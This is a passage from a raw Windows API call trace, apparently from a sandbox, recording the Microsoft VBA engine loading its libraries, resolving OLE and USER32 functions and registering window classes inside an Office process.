lpSystemTimeAsFileTime=0x11f250*(dwLowDateTime=0x55302ab0, dwHighDateTime=0x1d4a74f)) [0048.521] GetCurrentProcessId () returned 0x8cc [0048.521] GetCurrentThreadId () returned 0x8d0 [0048.521] GetTickCount () returned 0x1b9bd [0048.521] QueryPerformanceCounter (in: lpPerformanceCount=0x11f258 | out: lpPerformanceCount=0x11f258*=1812193100000) returned 1 [0048.524] __dllonexit () returned 0x7fe0279da44000 [0048.524] __dllonexit () returned 0x7fe0279f620000 [0048.598] __dllonexit () returned 0x7fe0279f50c000 [0048.599] __dllonexit () returned 0x7fe0279ead0000 [0048.599] __dllonexit () returned 0x7fe0279f554000 [0048.600] __dllonexit () returned 0x7fe0279f5b4000 [0048.600] __dllonexit () returned 0x7fe0279f594000 [0048.600] __dllonexit () returned 0x7fe0279f5f4000 [0048.601] __dllonexit () returned 0x7fe0279f5d4000 [0048.601] __dllonexit () returned 0x7fe0279f434000 [0048.601] __dllonexit () returned 0x7fe0279f414000 [0048.601] __dllonexit () returned 0x7fe0279f474000 [0048.602] __dllonexit () returned 0x7fe0279f454000 [0048.602] __dllonexit () returned 0x7fe0279f4b4000 [0048.602] __dllonexit () returned 0x7fe0279f494000 [0048.603] __dllonexit () returned 0x7fe0279f4f4000 [0048.603] __dllonexit () returned 0x7fe0279f4d4000 [0048.603] __dllonexit () returned 0x7fe0279f8e4000 [0048.604] __dllonexit () returned 0x7fe0279da94000 [0048.604] __dllonexit () returned 0x7fe0279dae4000 [0048.606] __dllonexit () returned 0x7fe0279dac4000 [0048.606] __dllonexit () returned 0x7fe0279e514000 [0048.607] __dllonexit () returned 0x7fe0279e564000 [0048.607] __dllonexit () returned 0x7fe0279e558000 [0048.626] DisableThreadLibraryCalls (hLibModule=0x7fee4790000) returned 1 [0048.626] GetVersion () returned 0x1db10106 [0048.626] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0048.627] GetUserDefaultLCID () returned 0x409 [0048.627] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0048.627] GetSystemMetrics (nIndex=5) returned 1 [0048.627] GetSystemMetrics (nIndex=6) returned 1 [0048.627] GetSystemMetrics (nIndex=11) returned 32 [0048.627] GetSystemMetrics (nIndex=12) returned 32 [0048.627] GetSystemMetrics (nIndex=34) returned 132 [0048.627] GetSystemMetrics (nIndex=35) returned 38 [0048.627] GetSystemMetrics (nIndex=0) returned 1440 [0048.627] GetSystemMetrics (nIndex=1) returned 900 [0048.627] GetSystemMetrics (nIndex=32) returned 4 [0048.627] GetSystemMetrics (nIndex=33) returned 4 [0048.627] GetSystemMetrics (nIndex=4) returned 22 [0048.627] GetSystemMetrics (nIndex=42) returned 0 [0048.627] GetStockObject (i=15) returned 0x188000b [0048.627] GetStockObject (i=7) returned 0x1b00017 [0048.627] GetStockObject (i=6) returned 0x1b00018 [0048.627] GetStockObject (i=8) returned 0x1b00016 [0048.627] GetStockObject (i=4) returned 0x1900011 [0048.627] GetStockObject (i=2) returned 0x1900012 [0048.627] GetStockObject (i=0) returned 0x1900010 [0048.627] GetStockObject (i=5) returned 0x1900015 [0048.627] GetStockObject (i=13) returned 0x18a002e [0048.627] GetDC (hWnd=0x0) returned 0x42010884 [0048.627] GetDeviceCaps (hdc=0x42010884, index=14) returned 1 [0048.627] GetDeviceCaps (hdc=0x42010884, index=12) returned 32 [0048.627] GetDeviceCaps (hdc=0x42010884, index=88) returned 96 [0048.627] GetDeviceCaps (hdc=0x42010884, index=90) returned 96 [0048.627] GetDeviceCaps (hdc=0x42010884, index=38) returned 32409 [0048.627] ReleaseDC (hWnd=0x0, hDC=0x42010884) returned 1 [0048.627] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7fee4b6ba60 | out: ppMalloc=0x7fee4b6ba60*=0x7feffc15380) returned 0x0 [0051.201] GetModuleHandleA (lpModuleName=0x0) returned 0x13f690000 [0051.208] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7fee4b6a048, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0x1273a0, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0x1273a0, pcbWrittenOrRequired=0x0) returned 1 [0051.208] ActivateActCtx (in: hActCtx=0x26d5a58, lpCookie=0x127390 | out: hActCtx=0x26d5a58, lpCookie=0x127390) returned 1 [0051.208] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0x1273b0 | out: ReturnedData=0x1273b0) returned 1 [0051.208] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7fefc690000 [0051.209] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000172) returned 1 [0051.209] RegisterClassA (lpWndClass=0x1276e0) returned 0x6000103301e8c196 [0051.213] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000173) returned 1 [0051.221] wcscpy_s (in: _Destination=0x4233020, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0051.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word Documents (*.docm;*.dotm;*.doc;*.dot)", cchWideChar=70, lpMultiByteStr=0x2e32540, cbMultiByte=140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word Documents (*.docm;*.dotm;*.doc;*.dot)", lpUsedDefaultChar=0x0) returned 70 [0051.224] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7fee4b71418 | out: phModule=0x7fee4b71418*=0x7fefa750000) returned 1 [0051.224] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7fefa7d3b3c [0051.225] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiGetProductCodeA") returned 0x7fefa7ca13c [0051.225] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiReinstallFeatureA") returned 0x7fefa7d1618 [0051.225] GetProcAddress (hModule=0x7fefa750000, lpProcName="MsiProvideComponentA") returned 0x7fefa7cf088 [0051.233] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0051.233] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0051.233] lstrcpyW (in: lpString1=0x127460, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0051.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", cchWideChar=-1, lpMultiByteStr=0x127350, cbMultiByte=135, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", lpUsedDefaultChar=0x0) returned 68 [0051.234] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0052.009] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7fee3fb0000 [0052.169] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000174) returned 1 [0052.170] GetLastError () returned 0x0 [0052.170] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoVBADigSigCallDlg") returned 0x7fee40b72c0 [0052.170] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoVbaInitSecurity") returned 0x7fee40260b0 [0052.170] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7fee3fd1a60 [0052.171] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7fee4025f50 [0052.171] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFInitOffice") returned 0x7fee3fcf000 [0052.171] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoUninitOffice") returned 0x7fee3fbe860 [0052.171] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFGetFontSettings") returned 0x7fee3fb3fc0 [0052.172] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoRgchToRgwch") returned 0x7fee3fc2380 [0052.172] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7fee3fb7b80 [0052.172] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7fee3fb7b20 [0052.172] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFCreateControl") returned 0x7fee3fb8730 [0052.173] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFLongLoad") returned 0x7fee40f3260 [0052.173] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFLongSave") returned 0x7fee40f3280 [0052.173] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFGetTooltips") returned 0x7fee3fc1f40 [0052.173] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFSetTooltips") returned 0x7fee4026370 [0052.174] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFLoadToolbarSet") returned 0x7fee4014590 [0052.174] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFCreateToolbarSet") returned 0x7fee3fb55b0 [0052.174] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoHpalOffice") returned 0x7fee3fc0240 [0052.174] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFWndProcNeeded") returned 0x7fee3fb3d10 [0052.175] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFWndProc") returned 0x7fee3fb6d30 [0052.175] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFCreateITFCHwnd") returned 0x7fee3fb3d40 [0052.175] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoDestroyITFC") returned 0x7fee3fbe6f0 [0052.175] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7fee3fbdf40 [0052.176] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFGetComponentManager") returned 0x7fee3fb7bf0 [0052.176] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoMultiByteToWideChar") returned 0x7fee3fbfcd0 [0052.176] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoWideCharToMultiByte") returned 0x7fee3fb8b20 [0052.176] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoHrRegisterAll") returned 0x7fee40b2ef0 [0052.177] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFSetComponentManager") returned 0x7fee3fc42c0 [0052.177] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFCreateStdComponentManager") returned 0x7fee3fb3e20 [0052.177] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFHandledMessageNeeded") returned 0x7fee3fbab10 [0052.178] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoPeekMessage") returned 0x7fee3fba7d0 [0052.178] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFCreateIPref") returned 0x7fee3fb1550 [0052.178] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoDestroyIPref") returned 0x7fee3fbe830 [0052.179] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoChsFromLid") returned 0x7fee3fb13d0 [0052.179] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoCpgFromChs") returned 0x7fee3fb6660 [0052.179] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoSetLocale") returned 0x7fee3fb1500 [0052.180] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7fee3fb3dd0 [0052.180] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoSetVbaInterfaces") returned 0x7fee40b71e0 [0052.181] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="MsoGetControlInstanceId") returned 0x7fee4086d10 [0052.181] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7fee40f98e0 [0052.181] GetProcAddress (hModule=0x7fee3fb0000, lpProcName="VbeuiEnterpriseProtect") returned 0x7fee40f9830 [0052.278] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0x127440, nSize=0x118 | out: lpBuffer="\xaf\x01") returned 0x0 [0052.278] SetErrorMode (uMode=0x8001) returned 0x8005 [0052.278] GetModuleFileNameA (in: hModule=0x7fee4790000, lpFilename=0x127150, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] lstrcpyA (in: lpString1=0x127040, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0052.278] strcpy_s (in: _Dst=0x127260, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0052.278] _ultoa_s (in: _Val=0x409, _DstBuf=0x126dc0, _Size=0x6, _Radix=10 | out: _DstBuf="1033") returned 0x0 [0052.278] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1033" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033") returned 0x0 [0052.279] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\") returned 0x0 [0052.279] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0052.279] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 75 [0052.279] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", lpszDst=0x126c70, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 1 [0052.279] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0052.282] strcpy_s (in: _Dst=0x126ef0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x0 [0052.282] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL") returned 0x7fef90e0000 [0052.294] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000175) returned 1 [0052.294] GetSystemDefaultLCID () returned 0x409 [0052.294] GetUserDefaultLCID () returned 0x409 [0052.294] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x127580, cchData=2 | out: lpLCData=".") returned 2 [0052.294] GetStockObject (i=13) returned 0x18a002e [0052.294] GetObjectA (in: h=0x18a002e, c=60, pv=0x127520 | out: pv=0x127520) returned 60 [0052.294] lstrcpyA (in: lpString1=0x7fee4b71b70, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0052.294] lstrcpyA (in: lpString1=0x7fee4b70b40, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0052.295] GetModuleFileNameA (in: hModule=0x7fee4790000, lpFilename=0x1275c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0052.321] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0052.321] lstrcpyA (in: lpString1=0x2d1c4e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0052.321] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x127450 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0052.321] GetVersionExA (in: lpVersionInformation=0x1274b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0x1274b0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0052.321] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0x1273d8 | out: phkResult=0x1273d8*=0x9f2) returned 0x0 [0052.322] strcpy_s (in: _Dst=0x1273e0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0052.322] strcpy_s (in: _Dst=0x127460, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0052.322] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0052.322] RegQueryValueA (in: hKey=0x9f2, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0x127460, lpcbData=0x1273d0 | out: lpData="\x0f}\x02\x01", lpcbData=0x1273d0) returned 0x2 [0052.322] RegCloseKey (hKey=0x9f2) returned 0x0 [0052.322] OleInitialize (pvReserved=0x0) returned 0x1 [0052.322] OaBuildVersion () returned 0x321396 [0052.322] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7feffd80000 [0052.323] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000176) returned 1 [0052.323] GetLastError () returned 0x0 [0052.323] GetProcAddress (hModule=0x7feffd80000, lpProcName="SysFreeString") returned 0x7feffd81320 [0052.324] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLib") returned 0x7feffd8f1e0 [0052.324] GetProcAddress (hModule=0x7feffd80000, lpProcName="RegisterTypeLib") returned 0x7feffddcaa0 [0052.325] GetProcAddress (hModule=0x7feffd80000, lpProcName="QueryPathOfRegTypeLib") returned 0x7feffe11760 [0052.325] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0052.325] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleTranslateColor") returned 0x7feffdac760 [0052.326] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreateFontIndirect") returned 0x7feffddecd0 [0052.326] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePictureIndirect") returned 0x7feffdde840 [0052.327] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPicture") returned 0x7feffdef420 [0052.327] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7feffde4ec0 [0052.328] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleCreatePropertyFrame") returned 0x7feffde9350 [0052.328] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleIconToCursor") returned 0x7feffdb6e40 [0052.329] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0052.329] GetProcAddress (hModule=0x7feffd80000, lpProcName="OleLoadPictureEx") returned 0x7feffdef320 [0052.329] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0052.329] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0052.329] GetClassInfoA (in: hInstance=0x7fee4790000, lpClassName="VBBubble", lpWndClass=0x127510 | out: lpWndClass=0x127510) returned 0 [0052.329] RegisterClassA (lpWndClass=0x127510) returned 0x12500d4c198 [0052.329] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000177) returned 1 [0052.329] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Count") returned 0x107630 [0052.329] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="_Default") returned 0x10c26a [0052.329] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Item") returned 0x107ad7 [0052.329] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Add") returned 0x1072f7 [0052.329] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Remove") returned 0x10b1cf [0052.329] GlobalAddAtomA (lpString="VBDisabled") returned 0x12600d4c129 [0052.330] RegisterClassExA (param_1=0x127630) returned 0x129021ac199 [0052.330] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000178) returned 1 [0052.341] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7fee4790000, lpParam=0x0) returned 0x101f0 [0052.342] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001714800000179) returned 1 [0052.342] GetVersionExA (in: lpVersionInformation=0x127420*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x127420*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0052.342] GetModuleHandleA (lpModuleName="USER32") returned 0x77a20000 [0052.343] GetProcAddress (hModule=0x77a20000, lpProcName="GetSystemMetrics") returned 0x77a394f0 [0052.343] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromWindow") returned 0x77a35f08 [0052.344] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromRect") returned 0x77a32b00 [0052.344] GetProcAddress (hModule=0x77a20000, lpProcName="MonitorFromPoint") returned 0x77a2ab64 [0052.344] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayMonitors") returned 0x77a35c30 [0052.345] GetProcAddress (hModule=0x77a20000, lpProcName="GetMonitorInfoA") returned 0x77a2a730 [0052.345] GetProcAddress (hModule=0x77a20000, lpProcName="EnumDisplayDevicesA") returned 0x77a2a5b4 [0052.345] MonitorFromWindow (hwnd=0x101f0, dwFlags=0x2) returned 0x10001 [0052.345] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x127630 | out: lpmi=0x127630) returned 1 [0052.345] SetWindowPos (hWnd=0x101f0, hWndInsertAfter=0x0, X=720, Y=450, cx=0, cy=0, uFlags=0x1d) returned 1 [0052.346] GetVersion () returned 0x1db10106 [0052.346] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x7feffd80000 [0052.347] GetProcAddress (hModule=0x7feffd80000, lpProcName="DispCallFunc") returned 0x7feffd82270 [0052.347] GetProcAddress (hModule=0x7feffd80000, lpProcName="LoadTypeLibEx") returned 0x7feffd8a550 [0052.348] GetProcAddress (hModule=0x7feffd80000, lpProcName="UnRegisterTypeLib") returned 0x7feffe120d0 [0052.348] GetProcAddress (hModule=0x7feffd80000, lpProcName="CreateTypeLib2") returned 0x7feffe0dbd0 [0052.348] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDateFromUdate") returned 0x7feffd85c90 [0052.349] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarUdateFromDate") returned 0x7feffd86330 [0052.349] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetAltMonthNames") returned 0x7feffda66c0 [0052.350] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarNumFromParseNum") returned 0x7feffd84710 [0052.350] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarParseNumFromStr") returned 0x7feffd848f0 [0052.350] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR4") returned 0x7feffdbb640 [0052.351] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromR8") returned 0x7feffdbb360 [0052.351] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromDate") returned 0x7feffdc2640 [0052.352] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromI4") returned 0x7feffda58a0 [0052.352] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarDecFromCy") returned 0x7feffda5820 [0052.352] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarR4FromDec") returned 0x7feffdbaf20 [0052.353] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromTypeInfo") returned 0x7feffdda0c0 [0052.353] GetProcAddress (hModule=0x7feffd80000, lpProcName="GetRecordInfoFromGuids") returned 0x7feffe12160 [0052.354] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetRecordInfo") returned 0x7feffda5af0 [0052.354] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetRecordInfo") returned 0x7feffda5a90 [0052.354] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayGetIID") returned 0x7feffda5a60 [0052.355] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArraySetIID") returned 0x7feffda5a30 [0052.355] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCopyData") returned 0x7feffd860b0 [0052.356] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayAllocDescriptorEx") returned 0x7feffd83e90 [0052.356] GetProcAddress (hModule=0x7feffd80000, lpProcName="SafeArrayCreateEx") returned 0x7feffdd9f80 [0052.356] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormat") returned 0x7feffe09b20 [0052.357] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatDateTime") returned 0x7feffe09aa0 [0052.357] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatNumber") returned 0x7feffe09990 [0052.358] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatPercent") returned 0x7feffe09890 [0052.358] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarFormatCurrency") returned 0x7feffe09770 [0052.358] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarWeekdayName") returned 0x7feffdeb8d0 [0052.359] GetProcAddress (hModule=0x7feffd80000, lpProcName="VarMonthName") returned 0x7feffdeb800 [0052.359] GetProcAddress 